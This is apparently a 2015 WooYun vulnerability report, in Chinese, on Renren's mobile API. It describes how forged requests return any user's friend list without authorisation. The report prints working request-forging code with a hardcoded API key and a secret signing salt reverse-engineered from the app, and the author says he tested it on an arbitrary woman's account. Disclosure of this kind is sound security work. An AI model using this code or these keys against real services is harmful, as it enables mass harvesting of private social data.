当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106709

漏洞标题:破解人人API之未授权获得任意用户好友列表

相关厂商:人人网

漏洞作者: 小手冰凉

提交时间:2015-04-09 00:19

修复时间:2015-07-08 13:56

公开时间:2015-07-08 13:56

漏洞类型:非授权访问/认证绕过

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-09: 细节已通知厂商并且等待厂商处理中
2015-04-09: 厂商已经确认,细节仅向厂商公开
2015-04-12: 细节向第三方安全合作伙伴开放
2015-06-03: 细节向核心白帽子及相关领域专家公开
2015-06-13: 细节向普通白帽子公开
2015-06-23: 细节向实习白帽子公开
2015-07-08: 细节向公众公开

简要描述:

破解人人API之未授权获得任意用户好友列表

详细说明:

首先人人有公开的API,今天发现的这是公开的中间的一个,但是公开API是要申请才能使用的,这里发现的不需要任何申请,只需要你有人人账号就可以。
登陆手机端人人,查看自己的好友的好友列表,抓包截取数据包

url
http://api.m.renren.com/api
字段如下
api_key
call_id
gz
hasGender
hasNetwork
method
page
page_siz
session_key
userId
sig


下面需要进行数据伪造,session_key是自己登陆后或的token,抓包就能看到,关键是字段sig,校验字段,这里利用之前提交的漏洞逆向出的校验计算算法,整个数据包产生过程如下

string api_key = "8b281811f80c471c8d337f5434dd5708";
string session_key = <自己的token>;
public string getFriends(string user_id)
{
string date = "";
date += "api_key=" + api_key;
date += "&call_id=" + inc.nowtime();
date += "&gz=compression";
date += "&hasGender=1";
date += "&hasNetwork=1";
date += "&method=friends.getFriends";
date += "&page=1";
date += "&page_size=2000";
date += "&session_key=" + session_key;
date += "&userId=" + user_id;
date += "&v=1.0";
string attach = "931cd71b96bf45b150f0ab8591cd9273";
date += "&sig=" + inc.gMD5(date.Replace("&", "") + attach);
return (Post.HttpPostGzip("http://api.m.renren.com/api", date, null));
}


其中两个十六进制字符串都是逆向出的固定值
这样就能获得任意用户的好友列表。
危害涉及到信息泄露,批量爬去然后进行大数据分析等等。
利用的时候写了一个小程序测试如下,随便找一个妹子:

QQ图片20150408220917.png


注意看她的id和好友个数

QQ图片20150408221026.jpg

漏洞证明:

如上

修复方案:

校验算法,还有那两个固定字符串需要好好处理下

版权声明:转载请注明来源 小手冰凉@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-04-09 13:54

厂商回复:

非常感谢!

最新状态:

暂无